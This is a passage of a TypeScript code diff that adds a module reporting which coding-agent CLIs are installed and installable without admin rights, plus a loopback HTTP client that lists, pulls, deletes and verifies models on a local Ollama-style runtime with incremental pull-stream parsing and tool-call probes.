arch: deps.arch ?? os.arch(),
...memoryFields(undefined),
source: (deps.platform ?? process.platform) === 'darwin' ? 'os-fallback' : 'not-probed',
})
)
.then((facts) => {
cached = { at: now(), facts };
return facts;
})
.finally(() => {
if (inFlight === probe) inFlight = undefined;
});
inFlight = probe;
return probe;
}
/** Drop the cached probe result and the memory of a pending disk read (tests, and nothing else). */
export function resetHardwareCache(): void {
cached = undefined;
inFlight = undefined;
pendingStatfs = undefined;
}
+176
View File
@@ -0,0 +1,176 @@
/**
* @fileoverview What the server knows about each catalogue harness on this machine, for the
* local model recommendation. Server side: this is the one module of src/local-model/ that
* reads the CLI registry, so `recommend()` can stay pure and name no CLI.
*
* `buildHarnessFacts()` walks the catalogue's `harnesses` rows and, for every row:
* - resolves its `cli` in the CLI registry AT CALL TIME (never in a module-level constant),
* and leaves the row out when the CLI is unknown, disabled, or has no custom model
* mechanism (`capabilities.customModelInjection.kind` is `unsupported`);
* - reports `label` from the registry entry and `installed` from the same probe the page
* render and `GET /api/clis` use (`utils/cli-installed-probes.ts`), asked once per build;
* - reports `installable` only for a STOCK CLI that is not installed and whose install
* command for this platform needs no administrator rights (`installCommandNeedsAdmin()`),
* and then carries that command as `installCommand`, so the consent screen can print the
* literal text. The command is the COMPILED stock one (`stockInstallCommand()`), never the
* one a `clis.json` override supplies: it is exactly what the install job would run, and
* an override file must not be able to change that;
* - supplies `acceptsModelId` (`cliAcceptsCustomModelId()`), the test a custom model launch
* applies to the model id before anything is written.
*
* Rules:
* - No CLI id is compared with a literal here or anywhere: the id comes from the catalogue
* row and everything else from the registry entry it resolves to.
* - Read-only: nothing is installed, written or spawned beyond the existing availability
* probe. An install command is only read as text, never run.
* - Never throws: a probe that fails reads as "not installed" (with a warning in the log),
* and the registry's install data still answers `installable`.
*
* `cliAcceptsCustomModelId()` composes the two pure pieces the launch path itself calls
* (`buildCustomModelInjection()` and `matchesPattern()` on the entry's `model` launch param).
* The launch path keeps that composition inline at two sites in
* src/web/routes/session-routes.ts (the quick-start `customModel` branch and
* `POST /api/sessions/:id/custom-model`). A change to the rule there must be made here too,
* until the three share one helper.
*/
import type { CliEntry } from '../config/cli-registry/types.js';
import { matchesPattern } from '../config/cli-registry/patterns.js';
import { stockInstallCommand } from '../cli-install-runner.js';
import { getCli } from '../config/cli-registry/registry.js';
import { buildCustomModelInjection, type CustomModelEndpoint } from '../custom-model-injection.js';
import { isCliEntryInstalled, probeStockCliAvailability } from '../utils/cli-installed-probes.js';
import { getErrorMessage, type HarnessFact, type LocalModelCatalog } from '../types.js';
/** What `buildHarnessFacts()` reads. Each member defaults to the real module; a test overrides what it needs. */
export interface HarnessFactsDeps {
/** One CLI of the registry, looked up when the facts are built. */
getCli: (id: string) => CliEntry | undefined;
/**
* The availability probe, asked ONCE per build: it answers with a test for single entries.
* Under vitest the real probe is inert (it finds no CLI), so a test that cares about
* `installed` passes its own.
*/
probeInstalled: () => Promise<(entry: CliEntry) => boolean>;
/**
* The install command the install job would run for this CLI on this platform: the compiled
* stock command, `undefined` for a CLI that is not stock or has none here. Read as text,
* never run.
*/
installCommandFor: (entry: CliEntry) => string | undefined;
}
export const defaultHarnessFactsDeps: HarnessFactsDeps = {
getCli,
probeInstalled: async () => {
const stockAvailability = await probeStockCliAvailability();
return (entry) => isCliEntryInstalled(entry, stockAvailability);
},
installCommandFor: (entry) => stockInstallCommand(entry.id as string),
};
/**
* A command segment that starts with `sudo` or `brew`: at the start of the text, or after a
* pipe, `&&`, `||`, `;`, a line break or an opening parenthesis.
*/
const ADMIN_COMMAND = /(?:^|[;&|(\n])\s*(?:sudo|brew)(?=\s|$)/;
/**
* Whether an install command needs administrator rights, read off its text.
* - `sudo ...` asks for an administrator password.
* - `brew ...` needs Homebrew, and installing Homebrew needs an administrator (the same rule
* the installer's no-admin route applies to the CLI menu).
* `curl ... | bash` installers write into the home directory, and the install runner points an
* `npm install -g` at a prefix the server user can write, so neither counts.
*/
export function installCommandNeedsAdmin(command: string): boolean {
return ADMIN_COMMAND.test(command);
}
/** Stands in for a configured endpoint: the launch id a recipe forces depends on the model id alone. */
const PROBE_ENDPOINT: CustomModelEndpoint = {
id: 'local-model-probe',
label: 'local model probe',
baseUrl: 'http://127.0.0.1',
};
/**
* Whether a custom model launch of this CLI would accept `modelId`.
*
* A CLI whose config alone cannot select the model gets the id forced onto its `model` launch
* param (the recipe's `launchModel` template). The argv engine DROPS a token that fails the
* param's pattern, which would start the CLI on its own default provider, so the launch path
* refuses such an id up front. This is that test: false when the forced value does not match
* the pattern, and false for a CLI with no custom model mechanism at all.
*/
export function cliAcceptsCustomModelId(entry: Pick<CliEntry, 'capabilities' | 'launch'>, modelId: string): boolean {
try {
const injection = buildCustomModelInjection(entry, PROBE_ENDPOINT, modelId);
if (injection.kind === 'unsupported') return false;
const forcedLaunchModel = injection.launchModel;
const modelSpec = entry.launch.params.model;
return !(
forcedLaunchModel !== undefined &&
modelSpec?.type === 'token' &&
!matchesPattern(modelSpec.pattern, forcedLaunchModel)
);
} catch {
// A recipe that cannot be rendered cannot be launched either.
return false;
}
}
/** One fact per catalogue harness that resolves in the CLI registry, in catalogue order. */
export async function buildHarnessFacts(
catalog: LocalModelCatalog,
deps: Partial<HarnessFactsDeps> = {}
): Promise<HarnessFact[]> {
const resolved: HarnessFactsDeps = { ...defaultHarnessFactsDeps, ...deps };
let isInstalled: (entry: CliEntry) => boolean;
try {
isInstalled = await resolved.probeInstalled();
} catch (err) {
console.warn(
`[local-model] The CLI availability probe failed, reading every harness as not installed: ${getErrorMessage(err)}`
);
isInstalled = () => false;
}
const facts: HarnessFact[] = [];
const seen = new Set<string>();
for (const row of catalog.harnesses) {
// The catalogue lists a CLI once; a second row for it adds nothing a fact could carry.
if (seen.has(row.cli)) continue;
seen.add(row.cli);
const entry = resolved.getCli(row.cli);
if (!entry || !entry.enabled) continue;
if (entry.capabilities.customModelInjection.kind === 'unsupported') continue;
let installed = false;
try {
installed = isInstalled(entry);
} catch (err) {
console.warn(`[local-model] Probing ${entry.label} failed, reading it as not installed: ${getErrorMessage(err)}`);
}
let installCommand: string | undefined;
if (!installed && entry.stock) {
const command = resolved.installCommandFor(entry);
if (command !== undefined && command.trim() !== '' && !installCommandNeedsAdmin(command)) {
installCommand = command;
}
}
facts.push({
cli: row.cli,
label: entry.label,
installed,
installable: installCommand !== undefined,
...(installCommand !== undefined ? { installCommand } : {}),
acceptsModelId: (modelId: string) => cliAcceptsCustomModelId(entry, modelId),
});
}
return facts;
}
File diff suppressed because it is too large. Load diff
+810
View File
@@ -0,0 +1,810 @@
/**
* @fileoverview The HTTP client of the model runtime: what Codeman asks its own runtime on
* the loopback port, and the pure functions that read the answers.
*
* What it asks:
* - `GET /api/version`, `GET /api/tags`, `GET /api/ps`, `GET /v1/models`, `DELETE /api/delete`.
* - `POST /api/pull` with `stream: true`. The answer is one JSON object per line, and a
* 23 GB pull sends about 1.4 million of them, so the stream is parsed INCREMENTALLY
* (`createPullParser()`, pure): only the unfinished last line and the running totals are
* kept, never the body. Aborting the request stops the download; pulling again continues
* it. An error line or a stream that ends without `success` is retried, at most
* `PULL_RETRIES` times.
* - The check after the pull (`verifyModel()`), in this order: one tiny chat with
* `reasoning_effort: "none"` (it loads the model), then `GET /api/ps` must show the whole
* model on the GPU (`size_vram` equal to `size`) at the chosen context
* (`judgeLoaded()`, pure), then one tool probe on `/v1/chat/completions` with a `tools`
* array, `reasoning_effort: "none"` and `max_tokens` of `TOOL_PROBE_MAX_TOKENS`, which
* passes on a tool call whose arguments parse as JSON (`judgeToolProbe()`, pure).
*
* Rules:
* - Nothing here throws for something a runtime can answer: every outcome is a result with
* the job's error code. An abort signal is the result `cancelled`.
* - Every request is bounded: a listing by seconds, the two probes by minutes (the first
* chat loads the model). Only the pull has no deadline of its own, because its length is
* the download; it ends with the stream, and the caller's signal cancels it.
* - The runtime does not enforce the context length (a prompt of 167,012 tokens was accepted
* at 131072), so nothing here relies on it to.
* - Every function takes its `fetch` from the target, so a test passes the fake runtime's
* address and spawns nothing. The target is always a loopback address the caller built from
* the stored port: no function here takes a URL from a file or a request.
*/
import type { LocalModelErrorCode } from '../types.js';
import { formatGb } from './format.js';
/** How often a pull that ended on an error line or a cut stream is started again. */
export const PULL_RETRIES = 5;
/** `max_tokens` of the tool probe. */
export const TOOL_PROBE_MAX_TOKENS = 1024;
/** How long `/api/version` may take: it is asked while a runtime starts, many times. */
const VERSION_TIMEOUT_MS = 2_000;
/** How long a listing or a delete may take. */
const LIST_TIMEOUT_MS = 10_000;
/** How long the chat that loads the model may take. A 23 GB model loaded in 5.9 s on the test Mac; a cold disk is slower. */
const CHAT_PROBE_TIMEOUT_MS = 180_000;
/** How long the tool probe may take. The model is loaded by then. */
const TOOL_PROBE_TIMEOUT_MS = 120_000;
/** `max_tokens` of the chat that loads the model: its answer is not read. */
const CHAT_PROBE_MAX_TOKENS = 16;
/** The least time between two progress reports of a pull. */
const PULL_PROGRESS_INTERVAL_MS = 250;
/** The window the download speed is averaged over. */
const PULL_SPEED_WINDOW_MS = 5_000;
/** The first wait before a pull is started again; it doubles with every retry. */
const PULL_RETRY_DELAY_MS = 1_000;
/** A pull line longer than this is not a pull line. It is dropped, so a stream without line breaks cannot grow the buffer. */
const MAX_PULL_LINE_CHARS = 1024 * 1024;
/** More layers than any model has. Lines for further ones are counted and not added up, so the layer table cannot grow without bound. */
const MAX_PULL_LAYERS = 1024;
/** How much of a runtime's error text is kept as `detail`. */
const MAX_DETAIL_CHARS = 400;
/** Which runtime to ask. */
export interface OllamaTarget {
/** `http://127.0.0.1:<port>`, without a trailing slash. */
baseUrl: string;
/** Default: the global `fetch`. */
fetch?: typeof fetch;
}
// ---------- Plumbing ----------
function isRecord(value: unknown): value is Record<string, unknown> {
return typeof value === 'object' && value !== null && !Array.isArray(value);
}
function asString(value: unknown): string | undefined {
return typeof value === 'string' && value !== '' ? value : undefined;
}
/** A byte count or a token count as the runtime reports it: a finite number that is not negative. */
function asCount(value: unknown): number | undefined {
return typeof value === 'number' && Number.isFinite(value) && value >= 0 ? value : undefined;
}
function clip(text: string): string {
const trimmed = text.trim();
return trimmed.length > MAX_DETAIL_CHARS ? `${trimmed.slice(0, MAX_DETAIL_CHARS)}...` : trimmed;
}
function errorText(err: unknown): string {
if (err instanceof Error) {
// undici wraps the reason ("fetch failed") and keeps the useful part in `cause`.
const cause = (err as { cause?: unknown }).cause;
return clip(cause instanceof Error && cause.message ? `${err.message}: ${cause.message}` : err.message);
}
return clip(String(err));
}
/** The error text of a runtime answer: `{"error":"..."}` (its own routes) or `{"error":{"message":"..."}}` (the OpenAI routes). */
function errorOfBody(body: unknown): string | undefined {
if (!isRecord(body)) return undefined;
const { error } = body;
if (typeof error === 'string') return asString(error);
if (isRecord(error)) return asString(error.message);
return undefined;
}
/** The caller's signal joined with a deadline. */
function bounded(signal: AbortSignal | undefined, timeoutMs: number): AbortSignal {
const deadline = AbortSignal.timeout(timeoutMs);
return signal ? AbortSignal.any([signal, deadline]) : deadline;
}
/** An answer of the runtime: its status and its body as JSON (`undefined` when it is not JSON). */
interface Answer {
status: number;
body: unknown;
text: string;
}
/**
* One bounded request. `undefined` when nothing answered (refused, timed out, aborted): the
* caller looks at its own signal to tell an abort from the rest.
*/
async function ask(
target: OllamaTarget,
path: string,
init: { method?: string; json?: unknown },
timeoutMs: number,
signal?: AbortSignal
): Promise<Answer | undefined> {
const fetchFn = target.fetch ?? fetch;
try {
const res = await fetchFn(`${target.baseUrl}${path}`, {
method: init.method ?? 'GET',
...(init.json !== undefined
? { headers: { 'content-type': 'application/json' }, body: JSON.stringify(init.json) }
: {}),
signal: bounded(signal, timeoutMs),
});
const text = await res.text();
let body: unknown;
try {
body = text === '' ? undefined : JSON.parse(text);
} catch {
body = undefined;
}
return { status: res.status, body, text };
} catch {
return undefined;
}
}
/** A digest as it is stored and compared: lowercase hex without the `sha256:` prefix. */
function normalizeDigest(value: unknown): string {
return typeof value === 'string'
? value
.trim()
.toLowerCase()
.replace(/^sha256:/, '')
: '';
}
// ---------- Listings ----------
/** One model of `GET /api/tags`: what is on disk. */
export interface OllamaTagModel {
/** `name:tag`. */
name: string;
/** Size on disk in bytes. */
size: number;
/** The model's digest, lowercase hex without a prefix. What is stored and compared again before a session starts. */
digest: string;
/** `details.format` ('safetensors' for an MLX build, 'gguf'). */
format?: string;
/** `details.runner` ('mlx', 'ggml'). */
runner?: string;
/** `capabilities` ('completion', 'tools', 'thinking', 'vision'). */
capabilities?: string[];
}
/** One model of `GET /api/ps`: what is loaded. */
export interface OllamaPsModel {
name: string;
/** Memory the loaded model takes, in bytes. */
size: number;
/** The part of `size` that is on the GPU. Equal to `size` when all of it is. */
sizeVram: number;
/** The context length the model was loaded with. */
contextLength: number;
digest?: string;
}
/** The `models` array of a listing, or an empty one. */
function modelsOf(answer: Answer | undefined): Record<string, unknown>[] {
if (!answer || answer.status !== 200 || !isRecord(answer.body)) return [];
const { models } = answer.body;
return Array.isArray(models) ? models.filter(isRecord) : [];
}
/** The runtime's version ('0.40.15'), or `undefined` when nothing answers there or the answer is not a runtime's. */
export async function getRuntimeVersion(target: OllamaTarget, signal?: AbortSignal): Promise<string | undefined> {
const answer = await ask(target, '/api/version', {}, VERSION_TIMEOUT_MS, signal);
if (!answer || answer.status !== 200 || !isRecord(answer.body)) return undefined;
return asString(answer.body.version);
}
/** The models on disk. An empty list when the runtime has none or does not answer. */
export async function listTags(target: OllamaTarget, signal?: AbortSignal): Promise<OllamaTagModel[]> {
const listed: OllamaTagModel[] = [];
for (const row of modelsOf(await ask(target, '/api/tags', {}, LIST_TIMEOUT_MS, signal))) {
const name = asString(row.name) ?? asString(row.model);
if (!name) continue;
const details = isRecord(row.details) ? row.details : {};
const format = asString(details.format);
const runner = asString(details.runner) ?? asString(row.runner);
const capabilities = Array.isArray(row.capabilities)
? row.capabilities.filter((entry): entry is string => typeof entry === 'string')
: undefined;
listed.push({
name,
size: asCount(row.size) ?? 0,
digest: normalizeDigest(row.digest),
...(format ? { format } : {}),
...(runner ? { runner } : {}),
...(capabilities ? { capabilities } : {}),
});
}
return listed;
}
/** The models loaded right now. An empty list when none is or the runtime does not answer. */
export async function listRunning(target: OllamaTarget, signal?: AbortSignal): Promise<OllamaPsModel[]> {
const listed: OllamaPsModel[] = [];
for (const row of modelsOf(await ask(target, '/api/ps', {}, LIST_TIMEOUT_MS, signal))) {
const name = asString(row.name) ?? asString(row.model);
if (!name) continue;
const digest = normalizeDigest(row.digest);
listed.push({
name,
size: asCount(row.size) ?? 0,
sizeVram: asCount(row.size_vram) ?? 0,
contextLength: asCount(row.context_length) ?? 0,
...(digest ? { digest } : {}),
});
}
return listed;
}
/** The model ids `GET /v1/models` lists, exactly as listed (the runtime answers `data: null` for none). */
export async function listOpenAiModels(target: OllamaTarget, signal?: AbortSignal): Promise<string[]> {
const answer = await ask(target, '/v1/models', {}, LIST_TIMEOUT_MS, signal);
if (!answer || answer.status !== 200 || !isRecord(answer.body)) return [];
const { data } = answer.body;
if (!Array.isArray(data)) return [];
return data.flatMap((row) => (isRecord(row) && typeof row.id === 'string' && row.id !== '' ? [row.id] : []));
}
/** The digest `GET /api/tags` reports for `modelId`, or `undefined` when the model is not on disk. */
export async function readModelDigest(
target: OllamaTarget,
modelId: string,
signal?: AbortSignal
): Promise<string | undefined> {
const found = (await listTags(target, signal)).find((model) => model.name === modelId);
return found && found.digest !== '' ? found.digest : undefined;
}
/** Deletes a model from the runtime's store. True when it is gone afterwards (also when it never was there). */
export async function deleteModel(target: OllamaTarget, modelId: string, signal?: AbortSignal): Promise<boolean> {
const answer = await ask(
target,
'/api/delete',
{ method: 'DELETE', json: { model: modelId } },
LIST_TIMEOUT_MS,
signal
);
// 404 is the runtime's answer for a model it does not have.
return answer !== undefined && (answer.status === 200 || answer.status === 404);
}
// ---------- Pull ----------
/** What the pull's lines add up to so far. */
export interface PullSnapshot {
/** Sum of the last `completed` of every layer seen. */
completedBytes: number;
/** Sum of the `total` of every layer seen. Grows while new layers appear; 0 before the first. */
totalBytes: number;
/** The `status` text of the last line that had one ('pulling manifest', 'writing manifest'). */
status?: string;
/** A line `{"status":"success"}` was seen. */
succeeded: boolean;
/** The text of the first `{"error":"..."}` line. */
error?: string;
/** How many complete lines were parsed. */
lines: number;
}
/**
* Reads a pull stream piece by piece. It keeps the unfinished last line and the totals per
* layer, never the lines themselves, so its memory does not grow with the stream.
*/
export interface PullParser {
/** Feed the next piece of the body. A line may be split anywhere across pieces, a multi-byte character too. */
push(chunk: string | Uint8Array): void;
/** The body ended: reads a last line that had no line break. */
end(): void;
snapshot(): PullSnapshot;
}
/**
* A parser for one pull stream. Pure: no IO, no clock. Lines it understands (both real):
*
* - an MLX build: `{"status":"pulling model","digest":"sha256:model","total":23105798956,"completed":N}`
* - a GGUF build, one layer after the other:
* `{"status":"pulling c5396e06af29","digest":"sha256:c539...","total":397807936,"completed":N}`
* (`completed` is absent until the layer's first bytes arrived)
* - `{"status":"pulling manifest"}`, `{"status":"verifying sha256 digest"}`,
* `{"status":"writing manifest"}`, `{"status":"success"}`
* - `{"error":"max retries exceeded: local error: tls: bad record MAC"}`
*
* A line that is not JSON is skipped and still counted. A blank line is not a line.
*/
export function createPullParser(): PullParser {
const decoder = new TextDecoder();
// One entry per layer: what the layer's last line said. A model has a handful of layers.
const layers = new Map<string, { total: number; completed: number }>();
let pending = '';
// True while a line longer than the limit is being skipped up to its line break.
let skipping = false;
let status: string | undefined;
let succeeded = false;
let error: string | undefined;
let lines = 0;
function line(text: string): void {
const trimmed = text.trim();
if (trimmed === '') return;
lines += 1;
let parsed: unknown;
try {
parsed = JSON.parse(trimmed);
} catch {
return;
}
if (!isRecord(parsed)) return;
const failure = errorOfBody(parsed);
if (failure !== undefined) {
error ??= clip(failure);
return;
}
const lineStatus = asString(parsed.status);
if (lineStatus !== undefined) {
status = lineStatus;
if (lineStatus === 'success') succeeded = true;
}
const total = asCount(parsed.total);
if (total === undefined) return;
// A layer is named by its digest; a line without one by its status text.
const key = asString(parsed.digest) ?? lineStatus;
if (key === undefined) return;
const known = layers.get(key);
if (!known && layers.size >= MAX_PULL_LAYERS) return;
// `completed` is absent until the layer's first bytes arrived: what was seen before stays.
const completed = asCount(parsed.completed) ?? known?.completed ?? 0;
layers.set(key, { total, completed: Math.min(completed, total) });
}
function feed(text: string): void {
let rest = text;
for (;;) {
const breakAt = rest.indexOf('\n');
if (breakAt < 0) break;
const head = rest.slice(0, breakAt);
rest = rest.slice(breakAt + 1);
if (skipping) {
// The end of the line that was too long: it was counted when it was dropped.
skipping = false;
} else {
line(pending + head);
}
pending = '';
}
if (skipping) return;
pending += rest;
if (pending.length > MAX_PULL_LINE_CHARS) {
pending = '';
skipping = true;
lines += 1;
}
}
return {
push(chunk) {
feed(typeof chunk === 'string' ? chunk : decoder.decode(chunk, { stream: true }));
},
end() {
feed(decoder.decode());
if (!skipping && pending !== '') line(pending);
pending = '';
skipping = false;
},
snapshot() {
let completedBytes = 0;
let totalBytes = 0;
for (const layer of layers.values()) {
completedBytes += layer.completed;
totalBytes += layer.total;
}
return {
completedBytes,
totalBytes,
...(status !== undefined ? { status } : {}),
succeeded,
...(error !== undefined ? { error } : {}),
lines,
};
},
};
}
/** How far a pull is, for the caller's progress display. */
export interface PullProgress {
completedBytes: number;
totalBytes: number;
/** Over the last few seconds. Absent until it can be told. */
bytesPerSecond?: number;
}
export interface PullOptions {
/** Aborts the request, which stops the download. The result is `cancelled`. */
signal?: AbortSignal;
/** Called at most a few times a second, and once more when the pull ends. */
onProgress?: (progress: PullProgress) => void;
/** Default `PULL_RETRIES`. */
retries?: number;
/** Waits between retries. A test injects its own. */
sleep?: (ms: number) => Promise<void>;
/** The clock of the speed figure, in milliseconds. A test injects its own. */
now?: () => number;
}
/** How a pull ended. */
export type PullResult =
| {
ok: true;
/** The pull's own total: what every size shown for the model comes from once it is known. */
totalBytes: number;
}
| {
ok: false;
code: Extract<LocalModelErrorCode, 'pull-failed' | 'model-not-found' | 'disk-full'>;
/** The runtime's last error text. */
detail?: string;
}
| { ok: false; code: 'cancelled' };
/** How one request of a pull ended. */
type PullAttempt =
| { kind: 'success'; totalBytes: number }
| { kind: 'cancelled' }
| { kind: 'fatal'; code: 'model-not-found' | 'disk-full'; detail: string }
| { kind: 'retry'; detail: string };
/**
* What an error text of the runtime means for the pull. A model the registry does not have and
* a full disk do not get better by asking again; everything else (a damaged download, a
* dropped connection) may.
*/
function classifyPullError(text: string): PullAttempt {
const detail = clip(text);
if (/file does not exist|manifest unknown|manifest\b.*\bnot found|model\b.*\bnot found/i.test(text)) {
return { kind: 'fatal', code: 'model-not-found', detail };
}
if (/no space left on device|disk (is )?full|not enough (free )?(disk )?space/i.test(text)) {
return { kind: 'fatal', code: 'disk-full', detail };
}
return { kind: 'retry', detail };
}
/** A wait that ends early when the signal aborts. */
function waitFor(ms: number, signal?: AbortSignal): Promise<void> {
return new Promise((resolve) => {
if (signal?.aborted) return resolve();
const done = (): void => {
clearTimeout(timer);
signal?.removeEventListener('abort', done);
resolve();
};
const timer = setTimeout(done, ms);
signal?.addEventListener('abort', done, { once: true });
});
}
/** One `POST /api/pull`, read to its end. */
async function pullOnce(target: OllamaTarget, modelId: string, options: PullOptions): Promise<PullAttempt> {
const { signal, onProgress } = options;
const now = options.now ?? Date.now;
const fetchFn = target.fetch ?? fetch;
let res: Response;
try {
res = await fetchFn(`${target.baseUrl}/api/pull`, {
method: 'POST',
headers: { 'content-type': 'application/json' },
body: JSON.stringify({ model: modelId, stream: true }),
...(signal ? { signal } : {}),
});
} catch (err) {
return signal?.aborted ? { kind: 'cancelled' } : { kind: 'retry', detail: errorText(err) };
}
const parser = createPullParser();
// The speed is the bytes of the last few seconds: (when, how far) pairs, the oldest first.
const samples: { at: number; completed: number }[] = [];
let lastReport = Number.NEGATIVE_INFINITY;
const report = (force: boolean): void => {
if (!onProgress) return;
const at = now();
if (!force && at - lastReport < PULL_PROGRESS_INTERVAL_MS) return;
const snap = parser.snapshot();
// Before the first layer line there is no size to show.
if (snap.totalBytes <= 0) return;
lastReport = at;
samples.push({ at, completed: snap.completedBytes });
while (samples.length > 2 && at - samples[1].at >= PULL_SPEED_WINDOW_MS) samples.shift();
const first = samples[0];
const seconds = (at - first.at) / 1000;
const moved = snap.completedBytes - first.completed;
try {
onProgress({
completedBytes: snap.completedBytes,
totalBytes: snap.totalBytes,
...(seconds > 0 && moved >= 0 ? { bytesPerSecond: Math.round(moved / seconds) } : {}),
});
} catch {
// A display that fails must not fail the download.
}
};
let streamError: string | undefined;
try {
if (res.body) {
for await (const chunk of res.body as unknown as AsyncIterable<Uint8Array>) {
parser.push(chunk);
report(false);
}
}
} catch (err) {
streamError = errorText(err);
}
// An abort ends the stream with an error too: it is a cancel, not a cut.
if (signal?.aborted) return { kind: 'cancelled' };
parser.end();
const snap = parser.snapshot();
if (snap.error !== undefined) return classifyPullError(snap.error);
if (res.status !== 200) return classifyPullError(`The runtime answered ${res.status} to the pull`);
if (!snap.succeeded) {
return { kind: 'retry', detail: streamError ?? 'The download ended before the runtime reported success' };
}
report(true);
if (snap.totalBytes > 0) return { kind: 'success', totalBytes: snap.totalBytes };
// A pull of a model that was already complete may name no layer. The size is then what the
// runtime lists for the model, which is the same figure a full pull reports as its total.
const listed = (await listTags(target, signal)).find((model) => model.name === modelId);
return { kind: 'success', totalBytes: listed?.size ?? 0 };
}
/** Pulls `modelId` and waits for the end. Resuming is calling it again. Never throws. */
export async function pullModel(target: OllamaTarget, modelId: string, options: PullOptions = {}): Promise<PullResult> {
const { signal } = options;
const retries =
options.retries !== undefined && Number.isInteger(options.retries) && options.retries >= 0
? options.retries
: PULL_RETRIES;
const sleep = options.sleep ?? ((ms: number) => waitFor(ms, signal));
let lastDetail: string | undefined;
for (let attempt = 0; attempt <= retries; attempt++) {
if (signal?.aborted) return { ok: false, code: 'cancelled' };
if (attempt > 0) {
await sleep(PULL_RETRY_DELAY_MS * 2 ** (attempt - 1));
if (signal?.aborted) return { ok: false, code: 'cancelled' };
}
let outcome: PullAttempt;
try {
outcome = await pullOnce(target, modelId, options);
} catch (err) {
// Only an injected `fetch` or clock can throw here. It must not end the pull as a crash.
outcome = { kind: 'retry', detail: errorText(err) };
}
if (outcome.kind === 'success') return { ok: true, totalBytes: outcome.totalBytes };
if (outcome.kind === 'cancelled') return { ok: false, code: 'cancelled' };
if (outcome.kind === 'fatal') return { ok: false, code: outcome.code, detail: outcome.detail };
lastDetail = outcome.detail;
}
return { ok: false, code: 'pull-failed', ...(lastDetail !== undefined ? { detail: lastDetail } : {}) };
}
// ---------- The check after the pull ----------
/** The codes the check can end on. */
export type VerifyFailureCode = Extract<
LocalModelErrorCode,
'load-failed' | 'does-not-fit' | 'context-not-applied' | 'no-tool-call' | 'probe-unfinished'
>;
/** What the runtime reported about the loaded model. */
export interface LoadedModel {
context: number;
sizeBytes: number;
sizeVramBytes: number;
}
/** The body of the tiny chat that loads the model: one short user message, `reasoning_effort: "none"`, a small `max_tokens`. Pure. */
export function buildChatProbeRequest(modelId: string): Record<string, unknown> {
return {
model: modelId,
messages: [{ role: 'user', content: 'Reply with the single word: ready' }],
reasoning_effort: 'none',
max_tokens: CHAT_PROBE_MAX_TOKENS,
temperature: 0,
stream: false,
};
}
/** A function tool of the tool probe, in the shape `/v1/chat/completions` takes. */
function probeTool(name: string, description: string, properties: Record<string, string>): Record<string, unknown> {
return {
type: 'function',
function: {
name,
description,
parameters: {
type: 'object',
properties: Object.fromEntries(
Object.entries(properties).map(([key, about]) => [key, { type: 'string', description: about }])
),
required: Object.keys(properties),
},
},
};
}
/** The body of the tool probe: a `tools` array, `reasoning_effort: "none"`, `max_tokens: TOOL_PROBE_MAX_TOKENS`. Pure. */
export function buildToolProbeRequest(modelId: string): Record<string, unknown> {
return {
model: modelId,
messages: [
{ role: 'system', content: 'You are a coding agent. Use the tools you are given to do what the user asks.' },
{ role: 'user', content: 'Read the file README.md and tell me what it says.' },
],
// The three tools a coding agent always has. The task needs the first.
tools: [
probeTool('read_file', 'Read a file and return its content.', { path: 'The path of the file.' }),
probeTool('write_file', 'Write a file.', { path: 'The path of the file.', content: 'The new content.' }),
probeTool('run_command', 'Run a shell command and return its output.', { command: 'The command line.' }),
],
reasoning_effort: 'none',
max_tokens: TOOL_PROBE_MAX_TOKENS,
temperature: 0,
stream: false,
};
}
/**
* Judges the process list after the chat. Pure.
* - the model is not listed: `load-failed`;
* - `sizeVram` is not `size`: `does-not-fit` (part of the model is not on the GPU);
* - `contextLength` is not `context`: `context-not-applied`.
*/
export function judgeLoaded(
models: readonly OllamaPsModel[],
modelId: string,
context: number
): { ok: true; loaded: LoadedModel } | { ok: false; code: VerifyFailureCode; detail?: string } {
const model = models.find((entry) => entry.name === modelId);
if (!model) return { ok: false, code: 'load-failed', detail: 'The runtime does not list the model as loaded' };
if (model.size <= 0)
return { ok: false, code: 'load-failed', detail: 'The runtime reports no size for the loaded model' };
if (model.sizeVram !== model.size) {
return {
ok: false,
code: 'does-not-fit',
// A size a person reads: decimal GB, like every other size of this feature.
detail: `${formatGb(model.sizeVram)} of ${formatGb(model.size)} GB of the model are on the GPU`,
};
}
if (model.contextLength !== context) {
return {
ok: false,
code: 'context-not-applied',
detail: `The runtime reports a context of ${model.contextLength} tokens, not ${context}`,
};
}
return { ok: true, loaded: { context: model.contextLength, sizeBytes: model.size, sizeVramBytes: model.sizeVram } };
}
/** Whether the arguments of a tool call are a JSON object: as text that parses to one, or already as one. */
function argumentsAreObject(value: unknown): boolean {
if (isRecord(value)) return true;
if (typeof value !== 'string') return false;
try {
return isRecord(JSON.parse(value));
} catch {
return false;
}
}
/**
* Judges the answer of the tool probe. Pure. `status` is the HTTP status, `body` the parsed
* JSON (or `undefined` when it did not parse).
* - a tool call whose `arguments` parse as a JSON object: passed (when the answer holds
* several calls, every one must have a name and such arguments);
* - `finish_reason` is `length`: `probe-unfinished` (the token limit ended it, so it proves nothing);
* - any other answer of status 200: `no-tool-call`;
* - another status: `load-failed`.
*/
export function judgeToolProbe(
status: number,
body: unknown
): { ok: true } | { ok: false; code: VerifyFailureCode; detail?: string } {
if (status !== 200) {
const said = errorOfBody(body);
return { ok: false, code: 'load-failed', detail: clip(said ?? `The runtime answered ${status}`) };
}
const choice = isRecord(body) && Array.isArray(body.choices) ? body.choices[0] : undefined;
const message = isRecord(choice) && isRecord(choice.message) ? choice.message : undefined;
const calls = message && Array.isArray(message.tool_calls) ? message.tool_calls : [];
if (calls.length > 0) {
const wellFormed = calls.every(
(call) =>
isRecord(call) &&
isRecord(call.function) &&
asString(call.function.name) !== undefined &&
argumentsAreObject(call.function.arguments)
);
if (wellFormed) return { ok: true };
return { ok: false, code: 'no-tool-call', detail: 'The model called a tool with arguments that are not JSON' };
}
if (isRecord(choice) && choice.finish_reason === 'length') {
return { ok: false, code: 'probe-unfinished', detail: `The answer ended at ${TOOL_PROBE_MAX_TOKENS} tokens` };
}
const said = message ? asString(message.content) : undefined;
return {
ok: false,
code: 'no-tool-call',
detail: said ? clip(`The model answered in text: ${said}`) : 'The answer holds no tool call',
};
}
/** How the check ended. */
export type VerifyResult =
| { ok: true; loaded: LoadedModel }
| { ok: false; code: VerifyFailureCode; detail?: string }
| { ok: false; code: 'cancelled' };
/**
* The whole check, in order: the chat, the process list, the tool probe. Stops at the first
* failure. Never throws.
*/
export async function verifyModel(
target: OllamaTarget,
modelId: string,
context: number,
signal?: AbortSignal
): Promise<VerifyResult> {
const cancelled: VerifyResult = { ok: false, code: 'cancelled' };
if (signal?.aborted) return cancelled;
